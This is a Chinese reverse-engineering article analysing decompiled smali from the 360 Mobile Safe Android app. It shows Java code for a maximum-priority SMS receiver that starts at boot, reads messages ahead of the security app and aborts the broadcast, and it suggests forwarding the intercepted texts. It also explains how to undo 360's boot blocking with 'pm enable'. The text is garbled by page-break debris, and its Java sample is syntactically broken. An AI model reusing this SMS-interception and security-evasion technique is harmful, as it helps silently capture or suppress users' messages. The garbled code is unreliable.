Lcom/qihoo360/mobilesafe/service/MobileSafeService;->onCreate()V const-string v0, "SafeGuardMmsService" const-string v1, "onCreate" invoke-static {v0, v1}, Lals;->b(Ljava/lang/String;Ljava/lang/String;)V #這里打 LOG new-instance v0, Lhl; invoke-direct {v0, p0}, Lhl;-><init>(Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;)V sput-object v0, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->d:Landroid/database/Cont entObserver; invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->getContentResolver()Land roid/content/ContentResolver; # getContentResolver()獲取 ContentResolver move-result-object v0 sget-object  v1, Landroid/provider/Telephony$Sms;->CONTENT_URI:Landroid/net/Uri; const/4 v2, 0x1  #獲取短信的 CONTENT_URI,后面對它進行監視 sget-object v3, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->d:Landroid/database/Cont entObserver; invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLa ndroid/database/ContentObserver;)V  #注冊短信數據庫監視器對短信數據庫變化進 行監聽 const/4 v0, 0x0 sput-boolean v0, Lac;->a:Z new-instance v0, Landroid/content/IntentFilter; const-string v1, "android.provider.Telephony.SMS_RECEIVED" #這個太熟悉 了,用來注冊短信廣播接收者 invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V const v1, 0x7fffffff invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V #設置最高的優先級 new-instance v1, Lcom/qihoo360/mobilesafe/receiver/MessageReceiver; invoke-direct  {v1}, Lcom/qihoo360/mobilesafe/receiver/MessageReceiver;-><init>()V sput-object v1, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->h:Lcom/qihoo360/mobilesa fe/receiver/MessageReceiver; sget-object v1, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->h:Lcom/qihoo360/mobilesa fe/receiver/MessageReceiver; invoke-virtual  {p0,  v1,  v0}, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->registerReceiver(Landroi d/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Int ent; # ?動態注冊短信廣播接收者? return-void .end method 看看,有沒有?有沒有?在靜態廣播中創建一個服務,在服務中又動態創建一個廣播, 真可謂是用心良苦啊!那這個 MessageReceiver 何時收到?服務何時啟動呢?我沒有再深入 了,不過它不是在開機啟動廣播中啟動的,這為我們下一步的成功照亮了方向啊,下面是證 據: 打開“BootActionReceiver.smali”文件,看它的 onReceive()方法: .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V .locals 2 invoke-static {}, Landroid/os/SystemClock;->uptimeMillis()J move-result-wide v0 sput-wide v0, Lcom/qihoo360/mobilesafe/ui/index/MobileSafeApplication;->d:J invoke-static {}, Ljava/lang/System;->currentTimeMillis()J  #上面只保存 了幾個時間值,體檢時用的 move-result-wide v0 sput-wide v0, Lcom/qihoo360/mobilesafe/ui/index/MobileSafeApplication;->c:J invoke-static {p1}, Lom;->a(Landroid/content/Context;)V # 這里調 用了 om-a()方法 return-void .end method 對 om-a()方法繼續跟蹤:(找到 om.smali 文件打開之) .method public static a(Landroid/content/Context;)V .locals 3 const/4 v2, 0x1 new-instance v0, Lafc; invoke-direct {v0, p0}, Lafc;-><init>(Landroid/content/Context;)V invoke-virtual {v0}, Lafc;->i()Z move-result v0 if-eqz v0, :cond_0 new-instance v0, Landroid/content/Intent; const-class v1, Lcom/qihoo360/mobilesafe/protection/PhoneProtectionLockWindow; invoke-direct  {v0,  p0,  v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V const-string v1, "PROTECTION_LOCK" invoke-virtual  {v0,  v1,   v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent; invoke-virtual  {p0,  v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/conte#p#分頁標題#e# nt/ComponentName; #這里啟動了 PROTECTION_LOCK,不管了 :cond_0 sget-boolean v0, Lom;->d:Z if-nez v0, :cond_1 sput-boolean v2, Lom;->d:Z new-instance v0, Laam; const-string v1, "SimCheckService" invoke-virtual  {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context; move-result-object v2 invoke-direct  {v0,  v1,  v2}, Laam;-><init>(Ljava/lang/String;Landroid/content/Context;)V sput-object v0, Lom;->e:Laam; sget-object v0, Lom;->e:Laam; invoke-virtual {v0}, Laam;->start()V  #這里啟動了 SimCheckService,不管 了 :cond_1 return-void .end method 可以看到,在開機廣播中,360 手機衛士沒有直接動態的注冊短信廣播接收者,我們可 以在啟動自己程序時動態安裝個權限最高的短信廣播,這樣就會優先于 360 收到短信了。 下面開始寫測試程序,看看我開機廣播的代碼: public class BootCompletedReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.i("Test360", "系統啟動完畢..."); Test360Activity.StartActivity(context); Intent service = new Intent(context, Test360Service.class); context.startService(service); //在開機后啟動一個服務 } } 我如法炮制,在接收到開機廣播的時候啟動了一個服務,服務的 OnCreate()代碼如下: @Override public void onCreate() { Log.i(TAG, "onCreate"); IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); localIntentFilter.setPriority(2147483647); MmsReceiver receiver = new MmsReceiver(); registerReceiver(receiver, localIntentFilter);  //動態創建一個優先級最 高的短信廣播接收者 IntentFilter localIntentFilter2 = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); localIntentFilter2.setPriority(2147483647); ShutdownReceiver receiver2 = new ShutdownReceiver(); registerReceiver(receiver2, localIntentFilter2);  //動態創建一個關機廣 播接收者 super.onCreate(); } 我動態創建了一個優先級為 2147483647 的短信廣播接收者,收到短信后我只是簡單的 啟動了程序的主 Activity 并 Toast 顯示出短信(當然,你也可以自己處理它,如發送出去, 或直接屏蔽掉,具體代碼留給讀者自己來實現),代碼如下: public class MmsReceiver extends BroadcastReceiver{ String receiveMsg @Override = ""; public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub SmsMessage[] Msg = null; if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){ Test360Activity.StartActivity(context); Log.i("Test360", "收到短信廣播..."); Bundle bundle = intent.getExtras(); if(bundle != null){ Object[] pdusObj = (Object[])bundle.get("pdus"); Msg = new SmsMessage[pdusObj.length]; for(int i = 0; i < pdusObj.length; i++){ Msg[i] = SmsMessage.createFromPdu((byte[])pdusObj[i]); } for(int i = 0; i < Msg.length; i++){ String MsgTxt = Msg[i].getOriginatingAddress() + " : " + Msg[i].getMessageBody();  //短信發件人與文 本   //Toast顯示短信 }   Toast.makeText(context, MsgTxt, Toast.LENGTH_LONG).show(); abortBroadcast();  //中斷廣播 } } } } 代碼寫好了,我重啟手機,發送兩條查詢指令給 10010,看看測試效果如圖 1: 測試程序優先收到了短信,而 360,啞了...... 開機啟動 在 Android 手機擁有 ROOT 權限的時候,360 開啟了一個開機加速的功能,如圖 2 所示: 點擊上面任意一項或一鍵加速就可以取消該程序的開機自啟動,這個功能立刻引起了我 的 好 奇 。 學 習 過  Android    開 發 的 可 能 都 會 知 道 , 通 過 添 加 對 “android.intent.action.BOOT_COMPLETED”處理的廣播就可以實現開機啟動時執行自己的 一段代碼,可是如何禁用開機啟動大多數人都不知道,于是就有了想弄明白它的念頭。 首先用 ApkTool_GUI 反編譯 360 的 APK 主程序,會提示反編譯錯誤,不用理會,可能是#p#分頁標題#e# 360 有反編譯手段,不過我們要分析的代碼都已經成功的反編譯出來了。在反匯編的 Smali 文件夾中 搜索“ android.intent.action.BOOT_COMPLETED ”,我 們 可以很 快 發現 “AutoRunManager.smali”與“ExamMain.smali”兩個文件中有結果,我們通過文件名果斷的  判 斷 第 一 個 文 件 是 我 們 要 分 析 的 重 點 , 它 位 于 “smali\com\qihoo360\mobilesafe\opti\autorun”文件夾 。打開“AutoRunManager.smali” 文 件,我 們發 現“ AutoRunManager ”類是 繼承自 “ android/app/Activity ”。 搜 索 “android.intent.action.BOOT_COMPLETED”,發現在.“method private a(ZZ)”、“method private e()V”、“method public onCreate(Landroid/os/Bundle;)V”三處發現有調用。先到 onCreate()方法中看看,代碼被 Proguard 過,很難閱讀,不過我們可以簡單的判斷它 只是進行了初始化,然后啟動一個 AsyncTask。關鍵代碼不在這里,限于篇幅就不列出來了。那怎么找關鍵點呢?我們看看上面顯示的圖,知道點擊一鍵加速按鈕與任意一欄的 List 后 會執行加速動作,我們仔細觀察會發現在“onCreate(Landroid/os/Bundle;)V”方法的下面 有個 public onItemClick()方法,代碼如下: .method                                                        public onItemClick(Landroid/widget/AdapterView;Landroid/view/View;IJ)V .locals 3 const/4 v1, 0x0 invoke-virtual {p1}, Landroid/widget/AdapterView;->getId()I          #獲取 ID move-result v0 packed-switch v0, :pswitch_data_0 #Switch 語句調用 :cond_0 :goto_0 :pswitch_0    #分支 0 return-void :pswitch_1 #分支 1 iput v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->x:I iget-boolean                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->p:Z if-nez v0, :cond_1     #?通過 p 是否為真來進行相應的操作?后面分析發現是啟用 還是禁止的 Boolean 值 invoke-direct                                                 {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->f()V #刷新顯示 goto :goto_0 :cond_1 iget-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; if-eqz v0, :cond_2 iget-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; iget-boolean v0, v0, Lank;->b:Z if-eqz v0, :cond_2     #u 與 u->b 不能為空 if-ltz p3, :cond_0 iget-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->K:Ljava/util/List; invoke-interface {v0}, Ljava/util/List;->size()I        #獲取 List 的大小 move-result v0 if-ge p3, v0, :cond_0 iget-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->c:Landroid/widget/ListVi#p#分頁標題#e# ew;   invoke-virtual                       {v0,                      p3}, Landroid/widget/ListView;->getItemAtPosition(I)Ljava/lang/Object; move-result-object v0     #獲取選中項 check-cast v0, Lads; iput-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->C:Lads; #保存到 C 中 iput-boolean                         v1,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->D:Z iget-boolean v1, v0, Lads;->e:Z if-eqz v1, :cond_0 :try_start_0 const-string v1, "" const v2, 0x7f0b0481 invoke-virtual                       {p0,                      v2}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->getText(I)Ljava/lang/Cha rSequence; move-result-object v2     #獲取進度對話框顯示的字符串 invoke-static                {p0,               v1,               v2}, Landroid/app/ProgressDialog;->show(Landroid/content/Context;Ljava/lang/CharSequ ence;Ljava/lang/CharSequence;)Landroid/app/ProgressDialog;          #顯示進度對話框 move-result-object v1 iput-object                         v1,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->w:Landroid/app/ProgressD ialog;   :try_end_0 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1 :goto_1 iget-object v1, v0, Lads;->b:Ljava/util/ArrayList; invoke-virtual {v1}, Ljava/util/ArrayList;->size()I move-result v1 iput v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->E:I # 保存列表項數   iget-object v0, v0, Lads;->b:Ljava/util/ArrayList; invoke-virtual                                                {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; #獲取 List 迭代器 move-result-object v1 :goto_2    #開始循環處理 invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z #是否處理完   move-result v0 if-eqz v0, :cond_0 invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v0 check-cast v0, Laqo; iget-object v0, v0, Laqo;->b:Ljava/lang/String; #獲取要處理的字符串,分 析為 APK 包名 invoke-direct                       {p0,                       v0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->b(Ljava/lang/String;)V goto :goto_2    # ?調用 b(Ljava/lang/String;)V 后繼續循環? :cond_2 invoke-direct                                                 {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->f()V #f()刷新顯示 goto :goto_0    #方法返回 :pswitch_2     #分支 2 iput v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->x:I#p#分頁標題#e# iget-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; if-eqz v0, :cond_3 iget-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; iget-boolean v0, v0, Lank;->b:Z if-eqz v0, :cond_3 if-ltz p3, :cond_0 iget-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->L:Ljava/util/List; invoke-interface {v0}, Ljava/util/List;->size()I move-result v0 if-ge p3, v0, :cond_0 iget-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->d:Landroid/widget/ListVi ew; invoke-virtual                       {v0,                      p3}, Landroid/widget/ListView;->getItemAtPosition(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Lads; iput-object                         v0,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->C:Lads; const/4 v1, 0x1 iput-boolean                         v1,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->D:Z iget-boolean v1, v0, Lads;->e:Z if-nez v1, :cond_0 :try_start_1   const-string v1, "" const v2, 0x7f0b0482 invoke-virtual                       {p0,                      v2}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->getText(I)Ljava/lang/Cha rSequence; move-result-object v2 invoke-static                {p0,               v1,               v2}, Landroid/app/ProgressDialog;->show(Landroid/content/Context;Ljava/lang/CharSequ ence;Ljava/lang/CharSequence;)Landroid/app/ProgressDialog;          #獲取顯示的字符串 move-result-object v1 iput-object                         v1,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->w:Landroid/app/ProgressD ialog; #顯示進度對話框 :try_end_1 .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0 :goto_3 iget-object v1, v0, Lads;->b:Ljava/util/ArrayList; invoke-virtual {v1}, Ljava/util/ArrayList;->size()I          #需要處理的條數 move-result v1 iput v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->E:I iget-object v0, v0, Lads;->b:Ljava/util/ArrayList; invoke-virtual                                                {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;         #List 處理迭代器#p#分頁標題#e# move-result-object v1 :goto_4 #循環處理開始 invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z         #是否處理完 move-result v0 if-eqz v0, :cond_0 invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v0 check-cast v0, Laqo; iget-object v0, v0, Laqo;->b:Ljava/lang/String; invoke-direct                       {p0,                       v0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->a(Ljava/lang/String;)V goto :goto_4    #?調用 a(Ljava/lang/String;)V 后跳走? :cond_3 invoke-direct                                                 {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->f()V #f()V 方法刷新顯示 goto/16 :goto_0 :catch_0 move-exception v1 goto :goto_3 :catch_1 move-exception v1 goto/16 :goto_1 :pswitch_data_0 .packed-switch 0x7f0a0032      #3 個分支 :pswitch_1 :pswitch_0 :pswitch_2 .end packed-switch .end method 這個“onItemClick(Landroid/widget/AdapterView;Landroid/view/View;IJ)V”是列 表點擊事件的完整處理代碼,雖然被混淆過,仔細的分析還是能看出代碼通過三個 Switch 分支對不同的狀況進行了處理,為 0 直接返回,而 1 與 2 的情況整體上差不多,只是在迭代處理的時候分別調用了“b(Ljava/lang/String;)V”與“a(Ljava/lang/String;)V”方法, 看看“b(Ljava/lang/String;)V”的代碼: .method private b(Ljava/lang/String;)V .locals 1 const-string v0, "disable" invoke-direct                {p0,               v0,               p1}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->a(Ljava/lang/String;Ljav a/lang/String;)V return-void .end method 只  是   傳   遞   了   “   disable    ”   字  符   串   然   后   調   用  了 “a(Ljava/lang/String;Ljava/lang/String;)V”方法,代碼如下: .method private a(Ljava/lang/String;Ljava/lang/String;)V .locals 3 new-instance v0, Ljava/lang/StringBuffer; const-string v1, "pm" invoke-direct                       {v0,                       v1}, Ljava/lang/StringBuffer;-><init>(Ljava/lang/String;)V #"pm" const-string v1, " " invoke-virtual                       {v0,                      v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; #"pm " 注意:后面加了空格 invoke-virtual                       {v0,                      p1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; #"pm 參數 1" const-string v1, " " invoke-virtual                       {v0,                      v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; #"pm 參數 1 "注意:后面加了空格 const-string v1, "$" const-string v2, "\\$" invoke-virtual                {p2,               v1,               v2},#p#分頁標題#e# Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Lj ava/lang/String; move-result-object v1     #在參數 2 前面添加“\\” invoke-virtual                       {v0,                      v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; #"pm 參數 1 \\參數 2" iget-object                         v1,                        p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; #這個 u 懷疑為進程 invoke-virtual                                                {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String; #將組合后的 Buffer 轉換為 字串   move-result-object v0 invoke-virtual {v1, v0}, Lank;->a(Ljava/lang/String;)V         #執行組合好的字 符串 return-void .end method 這段代碼功能就是執行“pm disable XXX”,我們再看看“a(Ljava/lang/String;)V” 的代碼:   .method private a(Ljava/lang/String;)V .locals 1 const-string v0, "enable" invoke-direct                {p0,               v0,               p1}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->a(Ljava/lang/String;Ljav a/lang/String;)V return-void .end method 哈哈!很清楚很明了吧,執行的是“pm enable XXX”。后來我發現 pm 是 Android 中自 帶的一個包管理器,新建一個“adb shell”后,輸入 pm 命令返回如圖 3 所示: 意思是傳入“package/class”就可以啟用或禁止一個包的類名了,到這里 360 的禁止 開機啟動的方法真相大白了。我們可以在自己創建的服務代碼里面加上“pm enable XXX” 來啟動自己,但是在實際測試過程中,我們的程序開機還是沒有開機啟動,很顯然,360 這個“pm disable XXX”在我們的程序啟動前執行了一次,這真是讓人頭大啊,怎么辦?我關 掉了 360 的進程與服務,等一會兒,手機鎖屏了,我解鎖后神奇的發現 360 又復活了!!!查 看 360 的“AndroidManifest.xml”文件發現它還有個鎖屏廣播,在解鎖后又啟動了 360 手 機衛士,在初始化時就執行了“pm disable XXX”(這里的 XXX 為要禁用的 APK 軟件包與類 名,360 自己維持黑白名單的),鎖屏廣播代碼就不帖了,我想了想繞過的方法,難道只能 自己動手改寫 360 的黑白名單,我又再弄下去了,而是如潮炮制的自己動手整了個鎖屏的廣 播接收者,把自己要的功能代碼加進去而以,等有時間我會繼續深入下去的。 隱私空間 想當年,《手機》這部電影帶來的影響可是鬧騰了多少男人的心啊,女孩們都學會了翻 自己男朋友的手機...偷看短信、查通話記錄。然后吵架、打架、分手......跟電影上演的 可真是一樣一樣的。給自己通訊記錄加密也成為了很多男士的夢想,現如今 Android 平臺手 機的用戶可真有了福音,因為最新的 360 手機衛士就帶了“隱私空間”這個功能(呵呵,涉 嫌幫 360 做廣告),如圖 4 所示: 首次進入“隱私空間”需要設置訪問密碼,以后訪問“隱私空間”就需要輸入密碼來授 權訪問了,在“隱私空間”中,可以設置保密的聯系人,與保密聯系人之間的短信與通話記 錄就會被加密起來。這個功能真是太好了...... “隱私空間”真如名字說的那樣隱私么?帶著好奇心,我開始了分析:打開“輸入密碼” 這個界面,隨便輸入錯誤的密碼,程序提示“密碼錯誤,請重試”。在反匯編出的 360 Smali#p#分頁標題#e# 文件夾中搜索錯誤提示,無果,說明提示信息可能進行了加密。我們換換思路,點擊界面上 的忘記密碼,會彈出一個提示,如果先前有設置密碼找回Email的話會提示發送新密碼到設 置的郵箱,如圖5 所示: 我 們 可 否 從 這 個 Email  入 手 呢 ? 在 文 件 夾 中 搜 索 “ email ”, “ PrivateSetupPreference.smali   ” 文 件 映 入 眼 簾 , 它 位 于 “smali\com\qihoo360\mobilesafe\ui\privatespace”,看文件名猜想應該是“隱私空間” 設置頁面,用 Editplus 打開之,點擊“View”-“Code Folding”->“Collapse All”將所 有的方法收攏,看看有哪些方法。首先看到了“onCreate(Landroid/os/Bundle;)V”,我 們 看看代碼: .method protected onCreate(Landroid/os/Bundle;)V .locals 3 invoke-super {p0, p1}, Landroid/preference/PreferenceActivity;->onCreate(Landroid/os/Bundle;)V const-string v0, "PrivateSetupPreference" const-string v1, "onCreate" invoke-static {v0, v1}, Lals;->b(Ljava/lang/String;Ljava/lang/String;)V #調用 als->b() invoke-static {}, Lauj;->b()Z  #auj-b(),搜索后發現只有一句“sget-boolean v0, Lauj;->e:Z”,作用不明了... move-result v0 if-nez v0, :cond_1 invoke-static {p0}, Lauj;->a(Landroid/app/Activity;)V #查看 auj.smali 文件發現是生成一個 DialogFactory 并顯示,此處就不展開了, 后面會有說到 :cond_0 :goto_0 return-void :cond_1 const v0, 0x7f030098 invoke-virtual {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->setContentVie w(I)V #設置 View invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getListView() Landroid/widget/ListView; move-result-object v0 invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getResources( )Landroid/content/res/Resources; move-result-object v1  #獲取資源 const v2, 0x106000d invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getColor(I)I #獲取顏色值 move-result v1 invoke-virtual {v0, v1}, Landroid/widget/ListView;->setCacheColorHint(I)V  #setCacheColorHint() invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getResources( )Landroid/content/res/Resources; move-result-object v1 const v2, 0x7f020083 invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable; move-result-object v1 invoke-virtual {v0, v1}, Landroid/widget/ListView;->setDivider(Landroid/graphics/drawable/Drawable;)V const v0, 0x7f050003  #setDivider() invoke-virtual {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->addPreference sFromResource(I)V const-string v0, "private_auto_sms_content" invoke-direct {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a(Ljava/lang/ String;)Landroid/preference/ListPreference; move-result-object v0 iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->f:Landroid/pr eference/ListPreference; iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->f:Landroid/pr eference/ListPreference; const-string v1, "private_auto_sms_content" const v2, 0x7f070017 invoke-direct {p0, v0, v1, v2}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a(Landroid/pr eference/ListPreference;Ljava/lang/String;I)V  #調用 a()返回一個 ListPreference invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getResources( )Landroid/content/res/Resources; move-result-object v0 const v1, 0x7f0b0017 invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String; #獲取一個字符串 move-result-object v0 iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->g:Ljava/lang/ String; #將字符串賦值給 g 成員變量 invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreference   Screen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "private_mainmenu_title"#p#分頁標題#e# invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-object v0  #獲取主菜單標題的 Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->e:Landroid/pr eference/Preference; #將 Preference 賦值給 e 成員變量 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->e:Landroid/pr eference/Preference; if-eqz v0, :cond_2  #判斷是否為空 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->e:Landroid/pr eference/Preference; invoke-virtual  {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedP references; move-result-object v0 invoke-interface  {v0,  p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V #registerOnSharedPreferenceChangeListener 注冊監聽器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->e:Landroid/pr eference/Preference; new-instance v1, Lagr;  #  ?new 一個 agr 對象 ? invoke-direct {v1, p0}, Lagr;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) V invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V  #設置監聽器 :cond_2 invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreference Screen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "private_pwd" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)   Landroid/preference/Preference; move-result-object v0  #查找隱私密碼 List 的 Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a:Landroid/pr eference/Preference; iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a:Landroid/pr eference/Preference; if-eqz v0, :cond_3 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a:Landroid/pr eference/Preference; invoke-virtual  {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedP references; move-result-object v0 invoke-interface  {v0,  p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V  #注冊監 聽器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a:Landroid/pr eference/Preference; new-instance v1, Lago;  #  ?new 一個 ago 對象 ? invoke-direct {v1, p0}, Lago;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V :cond_3 invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreference Screen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "private_email" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-object v0  #查找密碼找回郵箱 List 的 Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->b:Landroid/pr eference/Preference; #賦值給成員變量 b iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->b:Landroid/pr eference/Preference; if-eqz v0, :cond_4 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->b:Landroid/pr eference/Preference; invoke-virtual  {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedP references; move-result-object v0 invoke-interface  {v0,  p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V  #注冊監 聽器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->b:Landroid/pr eference/Preference;#p#分頁標題#e# new-instance v1, Lagp; #  ?new 一個 agp 對象 ? invoke-direct {v1, p0}, Lagp;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) V invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V  #設置監聽器 :cond_4 invoke-virtual  {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreference Screen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "user_custom_private_pic" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-object v0  #查找用戶自定義“隱私空間”圖標 List 的 Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c:Landroid/pr eference/Preference; #賦值給成員變量 c iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c:Landroid/pr eference/Preference; if-eqz v0, :cond_5 